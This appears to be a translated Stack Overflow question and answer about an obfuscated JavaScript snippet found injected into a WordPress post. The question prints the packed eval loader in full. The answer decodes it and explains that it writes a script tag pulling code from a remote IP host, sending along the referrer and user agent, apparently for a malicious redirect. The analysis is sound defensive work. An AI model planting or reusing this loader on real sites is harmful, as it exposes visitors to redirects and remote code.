这个脚本做什么用的?我可以以某种方式将其归还给它的创作者吗?

时间:2018-01-24 03:39:48

标签: javascript obfuscation deobfuscation

<script type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhksd|var|u0026u|referrer|tibht||js|php'.split('|'),0,{}))

我对缺乏格式感到道歉

我在WordPress网站的帖子中找到了这个脚本。它导致恶意重定向(至少我假设它是,因为它是一个持久的问题,在我删除后消失了,而且我公司没有人添加脚本)。

任何人都可以帮助我理解这个剧本正在做什么,并且(我怀疑)我是否可以告诉谁制作它/把它放在那里。

我在学校学习CS但是我不太了解JS / Regex以了解这是做什么的:(

谢谢!

1 个答案:

答案 0 :(得分:0)

@Ben,这就是代码归结为清理时的内容:

Snippet可以安全执行,只是字符串操作。我删除了eval部分。

//the passed arguments: 
//p: 
const template = '0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";';
//a:
const numericBase = 30;
//c:
let index = 30;
//k: 
const keywords = ["document", "", "javascript", "encodeURI", "src", "", "write", "http", "45", "67", "script", "text", "rel", "nofollow", "type", "97", "language", "jquery", "userAgent", "navigator", "sc", "ript", "fhksd", "var", "u0026u", "referrer", "tibht", "", "js", "php"];
//e is not really relevant, just an intermediate value
//d: passed empty, then filled in the following loop
const dict = {};

//first it fills the dictionary from the list of keywords
while (index--) {
  dict[index.toString(numericBase)] = keywords[index] || index.toString(numericBase);
}

console.log("dictionary: %o", dict);
console.log("template: %o", template);
//then replaces regex-words in the passed template with the entries in the dictionary
const result = template.replace(/\b\w+\b/g, function(match) {
  console.log("replace %o with %o", match, dict[match]);
  return dict[match]
})
console.log("result: %o", result);
.as-console-wrapper {
  top: 0;
  max-height: 100%!important
}

然后它用eval执行该结果,它会写一个<script>块加载恶意JS并重定向你。

代码看起来比它复杂。就像if(!''.replace(/^/,String))基本上if(true)一样。

周围的废话
k=[somefunction];
c=1;
while(c--){
  if(k[c]){ doSomethingWith(k[c]) }
}

这是一个非常复杂的说法

doSomethingWith(someFunction);